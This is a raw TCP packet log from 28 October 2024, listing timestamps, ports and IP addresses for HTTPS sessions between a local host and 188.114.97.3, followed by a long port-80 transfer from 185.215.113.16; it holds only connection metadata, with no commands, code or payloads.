Oct 28, 2024 20:50:12.852365017 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:12.852648973 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:12.854312897 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:12.854324102 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:12.854743004 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:12.856400967 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:12.856575012 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:12.856620073 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:13.369333982 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:13.369462013 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:13.369590998 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:13.369744062 CET	52228	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:13.369765997 CET	443	52228	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:13.490263939 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:13.490309954 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:13.490379095 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:13.492104053 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:13.492120028 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.160154104 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.160269976 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.161684990 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.161695957 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.162525892 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.163777113 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.163909912 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.163949013 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.164030075 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.164038897 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.641884089 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.642151117 CET	443	52229	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.642246962 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.642990112 CET	52229	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.906008005 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.906054974 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:14.906126976 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.906796932 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:14.906814098 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:15.568947077 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:15.569027901 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:15.570600033 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:15.570609093 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:15.570914984 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:15.572727919 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:15.572926044 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:15.572949886 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:15.573020935 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:15.573029995 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:16.260466099 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:16.260603905 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:16.260688066 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:16.260935068 CET	52230	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:16.260957956 CET	443	52230	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:16.697441101 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:16.697485924 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:16.697654009 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:16.698079109 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:16.698098898 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:18.099461079 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:18.099562883 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:18.101461887 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:18.101475000 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:18.101794958 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:18.103177071 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:18.103301048 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:18.103426933 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:18.655674934 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:18.655936956 CET	443	52231	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:18.656007051 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:18.656060934 CET	52231	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.197588921 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.197688103 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.197803974 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.198259115 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.198295116 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.820935011 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.821024895 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.828340054 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.828352928 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.828768969 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.831106901 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.832129955 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.832186937 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.832304955 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.832357883 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.832540035 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.834332943 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.834496021 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.834517956 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.834677935 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.834702015 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.834871054 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.834911108 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.834950924 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835124016 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.835155964 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.835167885 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835191011 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835345984 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.835371971 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835407019 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.835417032 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835453987 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.835468054 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835504055 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.835515022 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835529089 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.835534096 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:19.835640907 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:19.844158888 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:21.829273939 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:21.829370022 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:21.829442978 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:21.830863953 CET	52233	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:21.830872059 CET	443	52233	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:21.890737057 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:21.890783072 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:21.890882015 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:21.891189098 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:21.891202927 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.513266087 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.513437986 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:22.515327930 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:22.515336990 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.515717983 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.517672062 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:22.517760038 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:22.517805099 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.982086897 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.982326984 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.982489109 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:22.982644081 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:22.982650995 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.982661963 CET	52250	443	192.168.2.5	188.114.97.3
Oct 28, 2024 20:50:22.982666969 CET	443	52250	188.114.97.3	192.168.2.5
Oct 28, 2024 20:50:22.984673977 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:22.990149975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:22.990310907 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:22.990432978 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:22.995917082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891247034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891273975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891289949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891304970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891331911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891331911 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:23.891349077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891361952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:23.891366959 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891382933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891395092 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:23.891398907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891423941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.891433001 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:23.891458035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:23.896847010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:23.955220938 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.042562008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.042598963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.042637110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.042653084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.042670012 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.042670965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.042687893 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.042725086 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.043365002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.043380976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.043389082 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.043397903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.043416023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.043441057 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.043462038 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.044085979 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.044128895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.044145107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.044161081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.044167042 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.044193983 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.044931889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.044948101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.044964075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.044987917 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.044987917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.045022964 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.045695066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.045737028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.045752048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.045795918 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.048008919 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.048023939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.048042059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.048052073 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.048227072 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.196985960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197079897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197094917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197110891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197125912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197139978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197139978 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197164059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197166920 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197180033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197185040 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197196007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197212934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197227001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197227955 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197253942 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197576046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197591066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197613955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197628021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197630882 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197643995 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197655916 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197659969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197674990 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197684050 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197690010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197705030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197711945 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197721004 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197736025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.197747946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.197772980 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.198630095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198652029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198667049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198681116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198695898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198704958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.198710918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198726892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198734045 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.198743105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198751926 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.198760033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198776007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.198782921 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.198792934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199486971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199502945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199511051 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.199520111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199527979 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.199536085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199551105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199556112 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.199567080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199583054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.199600935 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.199630022 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.201092958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.201141119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.201179028 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.312711954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.312736988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.312752008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.312777996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.348726034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.348752022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.348772049 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.348776102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.348793983 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.348808050 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.348808050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.348825932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.348841906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.348860979 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.348908901 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349088907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349103928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349119902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349134922 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349152088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349154949 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349175930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349180937 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349193096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349206924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349225044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349225998 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349240065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349244118 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349256992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349270105 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349587917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349627018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349634886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349649906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349666119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349698067 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349858046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349895954 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349906921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349921942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349955082 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.349958897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349975109 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.349989891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350027084 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.350641012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350656033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350670099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350687981 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.350701094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350718021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350743055 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.350743055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350759029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350759983 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.350776911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350790977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350805998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350873947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.350873947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.350954056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350967884 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350981951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.350991011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.351016045 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.429645061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.429728031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.429745913 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.429760933 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.429790020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.429830074 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.465640068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.465656042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.465672970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.465688944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.465698957 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.465703011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.465723038 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466381073 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466407061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466420889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466430902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466465950 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466489077 CET	80	52257	185.215.113.16	192.168.2.5
